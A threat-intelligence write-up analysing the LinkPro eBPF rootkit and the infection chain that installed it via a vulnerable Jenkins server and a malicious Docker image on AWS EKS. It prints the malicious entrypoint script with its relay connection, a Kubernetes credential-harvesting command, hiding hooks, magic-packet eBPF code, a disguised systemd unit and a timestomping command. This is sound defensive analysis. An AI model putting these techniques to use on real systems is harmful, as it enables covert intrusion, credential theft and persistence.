LinkPro: eBPF rootkit analysis
During a digital investigation related to the compromise of an AWS-hosted infrastructure, a stealthy backdoor targeting GNU/Linux systems was discovered. This backdoor features functionalities relying on the installation of two eBPF modules, on the one hand to conceal itself, and on the other hand to be remotely activated upon receiving a "magic packet". This article details the capabilities of this rootkit and presents the infection chain observed in this case, which allowed its installation on several nodes of an AWS EKS environment.
Looking to improve your skills? Discover our trainings sessions! Learn more.
Introduction
eBPF (extended Berkeley Packet Filter) is a technology adopted in Linux for its numerous use cases (observability, security, networking, etc.) and its ability to run in the kernel context while being orchestrated from user space. Threat actors are increasingly abusing it to create sophisticated backdoors and evade traditional system monitoring tools.
Malware such as BPFDoor1, Symbiote2 and J-magic3 demonstrate the effectiveness of eBPF for creating passive backdoors, capable of monitoring network traffic and activating upon receipt of a specific "magic packet". Furthermore, more complex, open-source tools like ebpfkit4 (a proof of concept) and eBPFexPLOIT5, with orchestrators developed in Golang, act as rootkits, with features ranging from establishing secret command and control (C2) channels to process hiding and container evasion techniques.
While recently investigating a compromised AWS-hosted infrastructure, the Synacktiv CSIRT determined a relatively sophisticated infection chain, leading to the installation of a stealthy backdoor on GNU/Linux systems. This backdoor relies on the installation of two eBPF modules: one to conceal itself, and the other to be remotely activated upon receipt of a "magic packet".
Infection Chain
Forensic analysis identified a vulnerable Jenkins server (CVE-2024–238976) exposed on the internet as the source of the compromise. The latter served as the initial access for the threat actor to then move to the integration and deployment pipeline, hosted on several clusters of the Amazon EKS7 – Elastic Kubernetes Service (standard mode).
From the Jenkins server, the threat actor deployed a malicious docker image named kvlnt/vv
(hosted on hub.docker.com before it was removed by support, after we noticed it) on several Kubernetes clusters. The docker image consists of a Kali Linux base with two additional layers.


These layers add the app
folder as the working directory, then add three files to it:
/app/start.sh
: A bash script that serves as the docker image's entrypoint. Its purpose is to start the ssh service, execute the/app/app
backdoor, and the/app/link
program.#!/bin/bash sed -i -e 's/#PermitRootLogin /PermitRootLogin yes\n#/g' /etc/ssh/sshd_config /etc/init.d/ssh start ./app & ./link -k ooonnn -w mmm000 -W -o 0.0.0.0/0 || tail -f /var/log/wtmp
/app/link
: An open-source program called vnt8 that acts as a VPN server and provides proxy capabilities. It connects to a community relay server atvnt.wherewego.top:29872
. This allows the threat actor to connect to the compromised server from any IP address and to use it as a proxy to reach other servers on the infrastructure. The command-line arguments specified in the/app/start.sh
script are as follows:-k ooonnn
: token that identifies the virtual VLAN on the relay server-w mmm000
: password used to encrypt communications between clients (AES128-GCM)-W
: enables encryption between clients and the server (RSA+AES256-GCM) to prevent token leakage and man-in-the-middle attacks.-o 0.0.0.0/0
: allows forwarding to all network segments.
/app/app
: A downloader malware that retrieves an encrypted malicious payload from an S3 bucket. The contacted URL ishttps[:]//fixupcount.s3.dualstack.ap-northeast-1.amazonaws[.]com/wehn/rich.png
. In the observed case, this is an in-memory vShell 4.9.3 payload that communicates with its command and control server (56.155.98.37
) via WebSocket. The Synacktiv CSIRT names this downloader vGet, due to its direct link with vShell in this case.
vShell is an already documented backdoor9, notably used by UNC517410. Its source code has not been available on GitHub for about a year. However, a recent version, 4.9.3, along with its (cracked) license, is available for download, allowing various actors to use vShell.
However, there is no open-source publication on vGet, which is developed in Rust and stripped. This malicious code creates a symbolic link /tmp/.del
to /dev/null
at the beginning of its execution before downloading the vShell payload. vShell, during its execution, initializes the HISTFILE=/tmp/.del
environment variable when opening a terminal (at the operator's request). The purpose is to ensure that the command history is not written to a file (ex: .bash_history
). It is therefore possible that there is a link between these two programs, and that vGet was specifically developed to execute vShell directly in memory, without leaving traces on the disk.

/dev/null
to /tmp/.del
The recovered vGet sample has few symbols, apart from a reference to the username cosmanking defined in the absolute paths of the Rust dependencies, for example:
/Users/cosmanking/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/ureq-2.12.1/src/request.rs.
Regarding the docker image, the following mount point is configured:
- Mount point:
/mnt
- Source (the host):
/
- Destination (to the container):
/mnt
- Access: read and write
- Type: bind
- Source (the host):
This configuration allows the threat actor to escape the container's context (the running image), accessing the entire filesystem of the root partition with root privileges.
From the /app/app
(vGet) process of the kvlnt/vv
pod, a cat
command was executed with the goal of retrieving credentials (authentication tokens, API keys, certificates...) available on the host and particularly in other pods. Below is a short excerpt from this command:
cat \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/mount \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~csi/pvc-[UUID]/vol_data.json \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/ca.crt \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-[ID]/namespace \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~projected/kube-api-access-hfsns/token \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/ca \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/cert \
var/lib/kubelet/pods/[..POD UUID..]/volumes/kubernetes.io~secret/webhook-cert/key
[..ETC..]
A few weeks after the deployment of this docker image, the execution of two other malware was observed on several Kubernetes nodes, as well as on production servers. The latter were particularly targeted by the attacking group for financial motives.
The first piece of malicious code is a dropper embedding another vShell backdoor (v4.9.3) executed in memory, this time communicating via DNS tunneling. Regarding the dropper, it is not similar to SNOWLIGHT11, already observed in some publications for dropping vShell, but it has the same purpose. The decryption process is performed in two steps. Here is an excerpt from the sample that the Synacktiv CSIRT analyzed:


Finally, the final payload, which is undocumented and that the Synacktiv CSIRT names LinkPro, is a backdoor exploiting eBPF technology, which could be described as a rootkit due to its stealth, persistence, and internal network pivoting capabilities.
LinkPro Rootkit
LinkPro targets GNU/Linux systems and is developed in Golang. The Synacktiv CSIRT names it LinkPro in reference to the symbol defining its main module: github.com/link-pro/link-client
. The GitHub account link-pro has no public repositories or contributions. LinkPro uses eBPF technology to only activate upon receiving a "magic packet", and to conceal itself on the compromised system.
SHA256 |
1368f3a8a8254feea14af7dc928af6847cab8fcceec4f21e0166843a75e81964 (active backdoor) |
---|---|
File type | ELF 64-bit LSB executable, x86-64, executable/linux/elf64 |
File size | 8710464 bytes |
Threat | Linux Rootkit |
Observed filenames | .tmp~data.ok ; .tmp~data.pro ; .tmp~data.resolveld |
LinkPro embeds four ELF modules: a shared library, a kernel module, and two eBPF modules:

The different ELF modules are detailed below. However, the kernel module is never used by LinkPro (no implemented function to load it).
SHA256 | Type | Size |
---|---|---|
b11a1aa2809708101b0e2067bd40549fac4880522f7086eb15b71bfb322ff5e7 |
Shared object | 14.2 KiB |
9fc55dd37ec38990bb27ea2bc18dff0bb2d16ad7aa562ab35a6b63453c397075 |
Kernel object | 573.0 KiB |
364c680f0cab651bb119aa1cd82fefda9384853b1e8f467bcad91c9bdef097d3 |
BPF | 18.8 KiB |
b8c8f9888a8764df73442ea78393fe12464e160d840c0e7e573f5d9ea226e164 |
BPF | 35.4 KiB |
Configuration and Communication
Depending on its defined configuration, LinkPro can operate in two ways: passive or active. Its configuration is retrieved in two different ways:
- Either it is embedded in the binary, structured in JSON, and preceded by the keyword
CFG0
, - Or its default parameters are directly hardcoded into the main function. This method is observed on both samples.
Finally, command-line arguments are also taken into account to modify the default values at runtime:
Usage of <program name>:
-addsvc
/ systemd disguise
-connection-mode string
: forward reverse (default "reverse")
-debug string
(default "false")
-dns-domain string
DNS (default "dns.example.com")
-dns-mode string
DNS: direct() tunnel() (default "tunnel")
-dns-server string
DNS (: 8.8.8.8:53)
-ebpf string
eBPF (0=,1=) (default "1")
-hideebpf string
hide ebpf prog/map/link in /proc (0=,1=) (default "1")
-jitter string
() (default "2")
-key string
()
-pid string
pid to hide (default "-1")
-port string
(default "6666")
-protocol string
(httptcpudpdns) (default "http")
-reverse-port string
HTTP (default "2233")
-rmsvc
systemd disguise
-server string
(default "1.1.1.1")
-sleep string
() (default "10")
-version string
(default "1.0.0")
The -addsvc
parameter, observed during the investigation, is used to activate the persistence mechanism.
Below is the implemented configuration structure of LinkPro:
struct TailConfig // sizeof=0xD0
{
string ServerAddress;
string ServerPort;
string SecretKey;
string SleepTime;
string JitterTime;
string Protocol;
string DnsDomain;
string DNSMode;
string DnsServer;
string Debug;
string Version;
string ConnectionMode;
string ReversePort;
};
There are two possible values for ConnectionMode
: reverse
or forward
.
- The
reverse
connection mode corresponds to a passive mode, where the backdoor listens for commands from the C2. In this mode, two eBPF programs of the eXpress Data Path12 (XDP) and Traffic Control13 (TC) types are installed, with the goal of activating the C2 communication channel only upon receiving a specific TCP packet. - The
forward
connection mode corresponds to an active mode, where the backdoor initiates communication with its C2 server. In this mode, the XDP/TC eBPF programs are not installed.
The two samples identified on the compromised information system have the following configurations:
d5b2202b |
1368f3a8 |
|
---|---|---|
Passive mode HTTP | Active mode HTTP | |
ServerAddress | 1.1.1.1 (not used) | 18.199.101.111 |
ServerPort | 6666 | 2233 |
SecretKey | 0 | 3344 |
SleepTime | 10 | 10 |
JitterTime | 2 | 2 |
Protocol | http | http |
DnsDomain | dns.example.com | dns.example.com |
DNSMode | tunnel | tunnel |
DnsServer | 0 | 0 |
Debug | false | false |
Version | 1.0.0 | 1.0.0 |
ConnectionMode | reverse | forward |
ReversePort | 2233 | 2233 |
The DNS fields are only used in the case of communication via the DNS protocol.
After parsing its configuration, LinkPro generates a unique client ID with the following information:
SHA1sum(hex:"0123456789abcdeffedcba9876543210" | Hostname | Current user | Executable path | Machine ID | MAC Address | "nginx" )
The Machine ID corresponds to the value present in /etc/machine-id
or (if non-existent) in /proc/sys/kernel/random/boot_id
.
Five communication protocols are possible for the forward
(active) mode:
- HTTP
- WebSocket
- UDP (raw)
- TCP (raw)
- DNS (direct/tunneling)
For the reverse
(passive) mode, only the HTTP protocol is used. Three URLs are served:
/reverse/handshake
: identifies the operator's ID (server_id
http request parameter) and returns the statussuccess
./reverse/heartbeat
: returns the client's information (if therequest_client_info
parameter is specified) and returns the statusok
.- and
/reverse/operation
: executes the operator's commands.
The exchanges are structured in JSON and encrypted with the SecretKey
XOR key specified in the configuration.
Then, the following steps are executed in this order:
- Installation of the "Hide" eBPF module
- If the "Hide" module installation fails, or if it has been disabled (
-ebpf 0
command-line argument): Installation of a shared library in/etc/ld.so.preload
- If
reverse
mode is used, installation of the "Knock" eBPF module - Installation of persistence
- Execution of C2 commands
- On interruption, deletion of the various modules
The passive sample d5b2202b
is used to illustrate the following descriptions.
LD PRELOAD Module
SHA256 |
|
---|---|
File type | ELF 64-bit LSB shared object, x86-64, executable/linux/so64 |
File size | 14552 bytes |
Threat | Linux Dynamic Linker Hijacking |
Observed filename | libld.so |
LinkPro modifies the /etc/ld.so.preload
configuration file to specify the path of the libld.so
shared library that it embeds, with the goal of hiding various artifacts that could reveal the backdoor's presence. The different steps for libld.so
are as follows:
- Saves the content of
/etc/ld.so.preload
in memory - Extracts
libld.so
, embedded in the LinkPro binary, to/etc/libld.so
- If necessary,
/etc
is mounted with read and write permissions:mount -o remount,rw /etc
- If necessary,
- Assigns sufficient permissions so that
libld.so
can be loaded and executed by all users:chmod 0755 /etc/libld.so
- Replaces the content of the
/etc/ld.so.preload
file with/etc/libld.so
Thanks to the presence of the /etc/libld.so
path in /etc/ld.so.preload
, the libld.so
shared library installed by LinkPro is loaded by all programs that require /lib/ld-linux.so
14. This includes all programs that use shared libraries, such as glibc.
Once libld.so
is loaded at the execution of a program, for example /usr/bin/ls
, it hooks (before glibc) several libc functions to modify results that could reveal the presence of LinkPro. Here is the observed behavior for the hooked functions:
fopen
andfopen64
: if the process tries to open/proc/net/tcp
,/proc/net/tcp6
,/proc/net/udp
, or/proc/net/udp6
. These files provide information on active TCP/UDP connections. If so, the real fopen function is executed. Then, the malicious library retrieves the content of these files and removes LinkPro's network traces. Indeed, any line containing port 2233 (LinkPro's listening port) as a source or destination is deleted. Finally, if the process tries to open a file namedld.so.preload
, a "No Such File Or Directory" error is returned.Pseudocode of the forge_proc_net_tcp function modifying the content - Regarding network information,
netstat
uses the/proc/net
files to display ongoing connections. In contrast,ss
uses thenetlink
protocol instead to retrieve this information. The presence of port 2233 listening on the machine can therefore be detected with thess
command, as shown in the following image (openat
is the system call used byfopen
):LinkPro internal port detection netstat vs ss - Furthermore, the LinkPro process name is not indicated in the
ss
command's output, thanks to thegetdents
hook explained below.
- Regarding network information,
getdents
andgetdents64
: thegetdents
system call is used to list the files in a directory. In this case,libld.so
executesgetdents
then checks for the presence of- Filenames containing the keywords
.tmp~data
(the Linkpro backdoor),libld.so
,sshids
, andld.so.preload
. - Process directories (under
/proc/
, i.e., the PID) whose command line contains the keyword.tmp~data.
- If found, the
dirent
entry is overwritten by the next one.Overwriting the dirent entry of the file to be hidden - NB: The symbols
toyincang
andtoyincanglib
specify the keywords.tmp~data
andlibld.so
. "toyincang" can be interpreted in Mandarin Pinyin as "to conceal".
- Filenames containing the keywords
kill
: thekill
system call allows sending a signal to a process and takes the target's PID as an argument. The hook implemented by libld.so checks the command line of the targeted process (/proc/<pid>/cmdline
) for the presence of the keyword.tmp~data
(the Linkpro backdoor). If found, the libckill
function is not executed.open
andopen64
: if the process tries to open a file namedld.so.preload
, a "No Such File Or Directory" error is returned.readdir
andreaddir64
: thelibld.so
hook executes the legitimatereaddir
function (lists the files in a directory) then, checks for the presence of:- filenames containing the keywords
.tmp~data
,libld.so
,sshids
,ld.so.preload
, and.system
(the folder containing LinkPro once the persistence mechanism is activated). - Process directories (under
/proc/
, i.e., the PID) whose command line contains the keyword.tmp~data.
- If found, the
readdir
hook returns an empty result.
- filenames containing the keywords
The following image shows a demonstration of libld.so
effects. The -ebpf 0
command-line argument is specified to explicitly disable the "Hide" module and therefore activate the LD Preload library instead.

In summary, libld.so
loaded by LinkPro attempts to hide the network traces (listening or destination port) and filesystem traces of the LinkPro backdoor and of libld.so
itself from other dynamically linked programs.
"Hide" eBPF Module
SHA256 |
|
---|---|
File type | ELF 64-bit LSB relocatable, eBPF |
File size | 36224 bytes |
Threat | Linux eBPF Rootkit |
The "Hide" module is composed of several eBPF programs of the Tracepoint and Kretprobe types.
TracePoint-type eBPF programs15 are programs that attach to static tracepoints defined by the Linux kernel. They are placed at specific locations in the kernel code, for example on system calls, memory allocation, task scheduling, etc. In particular, tracepoints for system calls are located at the entry (tracepoint/syscalls/sys_enter_syscall
) or exit (tracepoint/syscalls/sys_exit_syscall
).
Kprobes16 (Kernel Probes) allow an eBPF program to be attached to almost any function (its entry point) in the kernel. Kretprobes, for their part, are triggered when the function returns. This allows for intercepting and modifying the result of a system call.
The LinkPro rootkit installs these eBPF programs and takes advantage of their capabilities to hide its processes and network activity.
"Hide" Module Installation
First, LinkPro parses the embedded "Hide" ELF module into a specific object (CollectionSpec) using the ebpf-go
module17. The different eBPF objects of the Hide module can be found loaded into memory, namely the maps18 and the programs19. Maps are data structures that can be shared between programs.
LinkPro updates the pids_to_hide_map
map with the current PID (Process ID) of LinkPro, as well as the list of PIDs specified on the command line (-pid
argument).
LinkPro updates the main_ebpf_progs
map to add the file descriptors (FD) of the eBPF programs loaded by LinkPro (the "Hide" and "Knock" modules).
LinkPro then creates BPF links20 to attach the eBPF programs to instrumentation points in the kernel. The "Hide" eBPF module loaded by the LinkPro backdoor adds hooks to the getdents
and getdents64
system calls, with the same objective as the libld.so
shared library, which is to hide files specific to LinkPro. Additionally, hooks are placed at the entry and exit of the sys_bpf
system call to hide its eBPF maps and programs. Below are the implemented hooks:
tracepoint/syscalls/sys_enter_getdents -> HandleGetdentsEnter
tracepoint/syscalls/sys_enter_getdents64 -> HandleGetdents64Enter
tracepoint/syscalls/sys_exit_getdents -> HandleGetdentsExit
tracepoint/syscalls/sys_exit_getdents64 -> HandleGetdents64Ext
tracepoint/syscalls/sys_enter_bpf -> HandleBpfEnter
kretprobe/sys_bpf -> HandleBpfExit
handle_getdents
The behavior of the functions attached to the getdents
and getdents64
tracepoints is similar to libld.so
. The result of the getdents
system call (sys_exit_getdents
) is intercepted. The eBPF program sets up filters to hide:
- Specific files and directories: any entry containing the keywords
.tmp~data
or.system
. - Specific processes: the process directories (under
/proc/
) whose identifiers (PIDs) are listed in thepids_to_hide
eBPF map (which can contain up to 10 PIDs) are also hidden.
The getdents
system call returns a linked list of dirent
structures21, where each structure represents a file or directory and contains information like its name, its inode, and the size of the entry, which allows for calculating the position of the next element. Unlike the libld.so
hook on getdents
, the dirent
entry is not directly overwritten by the next record.
Here is how the linked list of dirent
structures is modified to hide a file named .tmp~data.resolveld
.
Before the eBPF Modification
The list is a succession of records. Each dirent
implicitly points to the next one thanks to its own length (d_reclen
).
dirent (File A) |
dirent (.tmp~data.resolveld ) |
dirent (File B) |
d_reclen =24 |
d_reclen =32 |
d_reclen =24 |
d_name ="File A" |
d_name =".tmp~data.resolveld " |
d_name ="File C" |
Points to the beginning of .tmp~data.resolveld |
Points to the beginning of File B | Points to the end |
The d_reclen values are given arbitrarily as an example.
After the eBPF Modification
The eBPF program detects .tmp~data.resolveld
. It then modifies the length (d_reclen
) of the preceding record (File A
) by adding the length of .tmp~data.resolveld
to it.
dirent (File A) |
dirent (.tmp~data.resolveld) - Skipped |
dirent (File B) |
d_reclen =24+32=56 |
d_reclen =32 |
d_reclen =24 |
d_name ="File A" |
d_name =".tmp~data.resolveld " |
d_name ="File C" |
Now points to the beginning of File B | Points to the end |
The same technique is implemented in the eBPFeXPLOIT
project22, with the addition of the filenames and directories to be hidden.
handle_ebpf
Two functions are implemented: HandleBpfEnter
, linked to the syscall/sys_enter/bpf
tracepoint, and HandleBpfExit
, linked to the Kretprobe of sys_bpf
. The objective here is to hide the presence of the eBPF programs from tools like bpftool
23. The observed code is substantially the same as the one implemented in the EBPFeXPLOIT project24, apart from the addition of extra checks and two calls to bpf_printk
, probably used for debugging.
int handleBpfEnter(struct trace_event_raw_sys_enter *ctx) {
// ...
if ((!attr_ptr) &&
(bpf_probe_read_user(&cmd_info.start_id, sizeof(__u32), (void *)attr_ptr) != 0))
{
bpf_printk("BPF cmd: %d, start_id: %u", cmd, cmd_info.start_id);
bpf_map_update_elem(&hideEbpfMap, &pid_tgid, &cmd_info, BPF_ANY);
}
//...
}
int handleBpfExit(struct pt_regs *ctx) {
// ...
__u8 *is_main = bpf_map_lookup_elem(&main_ebpf_progs, &next_id);
if (is_main && *is_main == 1) {
bpf_printk("HIDING NEXT_ID: %u", next_id);
bpf_override_return(ctx, -ENOENT);
return 0;
}
// ...
}
The outputs of bpf_printk
are recorded in the special file /sys/kernel/debug/tracing/trace_pipe
. Root access is required to read its content:
root@malux# bpftool prog list
# ..output...
root@malux# cat /sys/kernel/debug/tracing/trace_pipe
bpftool-15162 [003] ...21 66902.319601: bpf_trace_printk: BPF cmd: 11, start_id: 0
bpftool-15162 [003] ...21 66902.319778: bpf_trace_printk: BPF cmd: 11, start_id: 52
bpftool-15162 [003] ...21 66902.319825: bpf_trace_printk: BPF cmd: 11, start_id: 160
bpftool-15162 [003] ...21 66902.319867: bpf_trace_printk: BPF cmd: 11, start_id: 161
# [..etc..]
bpftool-15162 [003] ...21 66902.320442: bpf_trace_printk: BPF cmd: 11, start_id: 175
bpftool-15162 [003] ...21 66902.320484: bpf_trace_printk: BPF cmd: 11, start_id: 176
bpftool-15162 [003] ...21 66902.320528: bpf_trace_printk: BPF cmd: 11, start_id: 177
bpftool-15162 [003] ...21 66902.320533: bpf_trace_printk: HIDING NEXT_ID: 654
The handlerBpfEnter
tracepoint saves the BPF commands of type BPF_PROG_NEXT_ID
, BPF_MAP_NEXT_ID
, and BPF_LINK_NEXT_ID
in a map. After the execution of the sys_bpf
system call, the handlerBpfExit
hook is triggered.
- The structure of the associated command is retrieved, now containing the result of the system call, which is the ID of the next program, map, or link.
- If the value of
cmd_info.attr_pr.next_id
is equal to the ID of one of the objects present in themain_ebpfs_progs
map, then the return value ofsys_bpf
is replaced by-ENOENT
(No such file or directory).
The adjacent image shows a demonstration of the "Hide" module loading (-ebpf 1
argument, default value), hiding the eBPF programs from the bpftool
utility:

Note that the FDs of the eBPF maps and links are not included in the main_ebpf_progs
map by LinkPro, which is a mistake: although the programs are correctly hidden, it is still possible to list their eBPF maps and links, as well as the PID associated with LinkPro.

Another important point is that the bpf_override_return
helper function is only available if the Linux kernel was compiled with the CONFIG_BPF_KPROBE_OVERRIDE
configuration option25. This is the case, for example, for relatively recent kernels of Amazon Linux26, or Ubuntu 24.04. If the required kernel option is not enabled, the BPF verifier will reject the program and prevent the "Hide" module from loading. In case of failure, an alternative method is therefore used with the loading of the libld.so
library, serving as a fallback solution to hide a portion of LinkPro's artifacts.
"Knock" eBPF Module
SHA256 |
|
---|---|
File type | ELF 64-bit LSB relocatable, eBPF |
File size | 19249 bytes |
Threat | Linux eBPF Rootkit |
The "Knock" module contains two eBPF programs loaded by LinkPro.
The first is called xdp_ingress
and is of the XDP (eXpress Data Path) type.
XDP provides a mechanism for processing network packets via eBPF programs. It is located very early in the processing chain, at the driver level and upstream of the classic Linux network stack27. An XDP eBPF program uses return codes (e.g., XDP_PASS
, XDP_DROP
, XDP_REDIRECT
) to determine the action the Linux kernel should take on the network packet.

The second is called tc_egress
and is of the TC (Traffic Control) type.
tc
is a tool introduced by the iproute2
package that allows for controlling incoming (ingress) and outgoing (egress) network traffic on an interface. It is possible to attach BPF programs to different TC control points, for example to filter certain packets before they are sent. TC is located between the driver and the network stack, i.e., downstream from XDP. XDP programs can only attach to incoming traffic, not outgoing, which justifies the use of TC in this context.

"Knock" Module Installation
Several steps are required to install the xdp_ingress
and tc_egress
programs.
- Detection of the network interface used to communicate with the Internet (e.g.,
eth0
). - Creation of a
fire
directory in the BPF FS. Path:/sys/fs/bpf/fire
. The BPF FS is a pseudo virtual filesystem (residing only in memory) that allows for storing BPF programs and maps, as well as pinned objects28 (allows keeping a reference to these objects via a pseudo-file in the BPF FS to ensure their persistence). - Loading of the "Knock" module into memory (
CollectionSpec
object). - Update of the
conf_map
BPF map with the value of thereverse_port
attribute present in LinkPro's configuration: port2233
in this context. - Installation of the
xdp_ingress
program:- Any XDP program already linked to the network interface is detached:
ip link set dev eth0 xdp off
- Attachment of the
xdp_ingress
program to the network interface via the creation of a BPF link29
- Any XDP program already linked to the network interface is detached:
- Installation of the
tc_egress
program- Pinning of the
tc_egress
program to/sys/fs/bpf/fire/tc_egress
. This means it has already been loaded into memory by another process (LinkPro) and has been pinned in the BPF virtual filesystem (bpffs). - Attachment of the
tc_egress
program to the network interface via the followingtc
commands:- Preparation of the interface:
tc qdisc replace dev eth0 clsact
- Creates or replaces the queuing discipline (
qdisc
) on theeth0
interface withclsact
(classifier action), providing two attachment points,ingress
(incoming packets) andegress
(outgoing packets), for filters.
- Creates or replaces the queuing discipline (
- Cleaning up old filters on outgoing traffic:
tc filter del dev eth0 egress
- Attachment of the
tc_egress
program to theegress
hook of the network interface:tc filter add dev eth0 egress proto all prio 1 handle 1 bpf da pinned /sys/fs/bpf/fire/tc_egress
proto all
: the filter applies to packets of all protocolsprio 1
: the filter executes with the highest priorityhandle 1
: identifier for the created filterbpf
: indicates that the filter is a BPF programda
(ordirect-action
): means that the return value of the eBPF program (e.g.,TC_ACT_OK
to let it pass,TC_ACT_SHOT
to drop) will directly determine the packet's fatepinned /sys/fs/bpf/tc_egress
: tells TC where to find the eBPF program, pinned in the bpffs by LinkPro
- Preparation of the interface:
- Pinning of the
xdp_ingress
The xdp_ingress
eBPF program listens to incoming traffic on the attached network interface (reminder: identified by LinkPro as having Internet access). The program monitors for the receipt of a magic packet.
- This magic packet must have the following characteristics: a TCP protocol packet of type
SYN
, which has a window size value,tcp_header->windows_size
, of54321
. - If such a packet is verified, the
xdp_ingress
program saves a key in aknock_map
map with the value of the packet's source IP and an associated expiration date (one hour) as its value, indicating anopen
state. - Additionally, the program saves the following key/value pair in the
rev_port
map: key:rev_key = { in_port, sip, sport}
(sip = source IP, sport = source port), value:dport
(destination port).in_port
is equal to the value stored inconf_map
, which is 2233. - Finally, the
xdp_ingress
program returns theXDP_DROP
code, instructing the Linux kernel to immediately drop the magic packet. The program has transitioned to the "open" state for this specific source IP address.
if (tcph->syn && tcph->window == bpf_htons(MAGIC_WIN)) {
bpf_printk("[DBG-KNOCK] 检测到敲门包: sip=%x sport=%u dport=%u win=%u", sip_h, sport_h, dport_h, (data->tcph).window); // (Knock packet detected)
__u64 exp = bpf_ktime_get_ns() + WIN_NS; // current time + 1 hour
bpf_map_update_elem(&knock_map, &sip_h, &exp, BPF_ANY);
bpf_printk("[KNOCK-SET] key=%x exp=%llu", sip_h, exp);
__u16 in_port = get_in_port()
struct rev_key rk = {
in_port,
sip_h,
sport_h
}
bpf_map_update_elem(&rev_port, &rk, &dport_h, BPF_ANY);
bpf_printk("[KNOCK] %x:%u -> %u", sip_h, sport_h, dport_h);
return XDP_DROP;
}
- Open state: The
xdp_ingress
program monitors for the receipt of TCP packets whose source IP address is the same as the one(s) already registered inknock_map
, within a one-hour window after receiving the magic packet. - In this case, if the destination port does not already correspond to the value of
in_port
(2233), thenxdp_ingress
modifies the incoming packet's TCP header to replace the destination port value within_port
. Additionally, to prevent the packet from being dropped by the kernel downstream, the TCP checksum,tcp_header->check_sum
, is also recalculated and modified in the TCP header. Finally,xdp_ingress
returns theXDP_PASS
code to pass the packet along to the rest of the network stack.
bpf_printk("[FOUND] 找到有效敲门记录: sip=%x dport=%u", sip_h, dport_h); // (Found valid knock records)
__u16 in_port = get_in_port()
if (dport_h == in_port) {
bpf_printk("[SKIP] 已是内部端口: sip=%x dport=%u", sip_h, dport_h); // (Already an internal port)
}
else {
__u16 old_n = tcph->dest;
__u32 old32 = (__u32)old_n;
__u16 new_n = bpf_htons(in_port);
__u32 new32 = (__u32)new_n;
__u32 diff = bpf_csum_diff(&old32, 4, &new32, 4, ~(data->tcph).check); //TCP Checksum Diff
(data->tcph).dest = new_n;
tcph->check = fold_csum(diff);
bpf_printk("[XDP] REWRITE %x:%u %u→%u", sip_h, sport_h, dport_h, in_port);
}
Finally, if destination port 9999 is used, the program displays additional kernel debug messages:
[DBG-9999] 收到9999端口包: sip=%x sport=%u, fin=%d syn=%d rst=%d win=%u
(Received a packet from port 9999)[MISS] 未找到敲门记录: sip=%x dport=%u
(No knock record found)
tc_egress
The tc_egress
eBPF program listens to outgoing traffic on the attached network interface. The program monitors for the dispatch of a TCP packet whose source port is in_port
(2233).
- If such a packet is received, the program checks for the presence in the
rev_port
map of the keyrev_key = { in_port, dip, dport}
(dip = destination IP), previously saved byxdp_ingress
. - If found, the outgoing packet's TCP header is modified to restore the original destination port of the incoming packet, which had been replaced by
xdp_ingress
, at the source port level of the outgoing packet. The checksum is also recalculated. Finally, the packet continues its processing (TC_ACT_OK
code is returned) in all cases.
if ((data->tcph).source == bpf_htons(get_in_port())){
__u16 dport_n = tcph->dest;
struct rev_key rk = {
get_in_port(),
bpf_ntohl((data->iph).daddr),
bpf_ntohs(dport_n)
}
__u16 *knock = bpf_map_lookup_elem(&rev_port, &rk);
if (!knock) {
bpf_printk("[TC-MISS] 未找到端口映射: dip=%x dport=%u", bpf_ntohl((data->iph).daddr), bpf_ntohs(dport_n)); // (Port mapping not found)
}
else {
__u16 new_n = bpf_htons(*knock);
__u16 old_n = (data->tcph).source;
__u32 o32 = (__u32)old_n;
__u32 n32 = (__u32)new_n;
__u32 diff = bpf_csum_diff(&o32, 4, &n32, 4, ~(data->tcph).check);
(data->tcph).source = new_n;
(data->tcph).check = fold_csum(diff);
bpf_printk("[TC] REWRITE_BACK %u→%u", get_in_port(), *knock);
}
}
The objective for LinkPro is therefore to activate the command reception state conditional on receiving an initial "magic packet". Once the magic packet is received, the operator has a one-hour window (which can be reactivated later) to send commands to an arbitrary destination port. The xdp_ingress
program's role is to modify the incoming TCP packet's header to replace the original destination port with LinkPro's listening port, which is 2233 in this context.
Finally, when LinkPro responds to the operator's command, the tc_egress
program's role is to modify the outgoing packet to replace the source port (2233) with the original port. The purpose of this maneuver is to allow the operator to activate command reception for LinkPro by going through any port authorized by the front-end firewall. This also makes the correlation between the front-end firewall logs and the network activity of the compromised host more complex. For example: the operator sends their commands to port 443/https of a compromised web server, when in reality the packets are being forwarded to port 2233 internally on the server.

Persistence
To persist on the host, LinkPro “disguises” itself as the systemd-resolved service (the name resolution service).
- Mounting the root partition
/
with read and write permissions by executing the command:mount -o remount,rw /
. - Copying its own executable to
/usr/lib/.system/.tmp~data.resolveld
. - Adding a systemd unit file in
/etc/systemd/system/systemd-resolveld.service
:[Unit] Description=Network Name Resolution Manager Documentation=man:systemd-resolved.service(8) After=network.target [Service] Type=simple ExecStart=/usr/lib/.system/.tmp~data.resolveld Restart=always RestartSec=5 KillSignal=SIGTERM ProtectSystem=full PrivateTmp=true NoNewPrivileges=true
- Timestomping the modification date of
/usr/lib/.system/.tmp~data.resolveld
and/etc/systemd/system/systemd-resolveld.service
to that of the/etc/passwd
file:sh -c touch -d "$(stat /etc/passwd | grep Modify | awk '{print $2, $3}')" %s 2>/dev/null
- Enabling the
systemd-resolveld
service to start when the system boots:systemctl enable systemd-resolveld
.
Self-Deletion
On interruption (SIGHUP, SIGINT, SIGTERM signals), LinkPro uninstalls its programs:
- Knock Module:
- Deletion of the
tc_egress
eBPF link by executing thetc
commands:tc filter del dev eth0 egress
(eth0 being the interface with Internet access in this example)tc qdisc del dev eth0 clsact
- Deletion of the
xdp_ingress
eBPF link - Deletion of the
/sys/fs/bpf/fire
directory
- Deletion of the
- Hide Module: Deletion of the eBPF links, maps, and programs (Tracepoints, Kretprobe)
- Deletion of
/etc/libld.so
and restoration of the initial content of the configuration file/etc/ld.so.preload
Commands
Once communication with the operator is well established, LinkPro provides the following commands:
Command | Feature |
---|---|
|
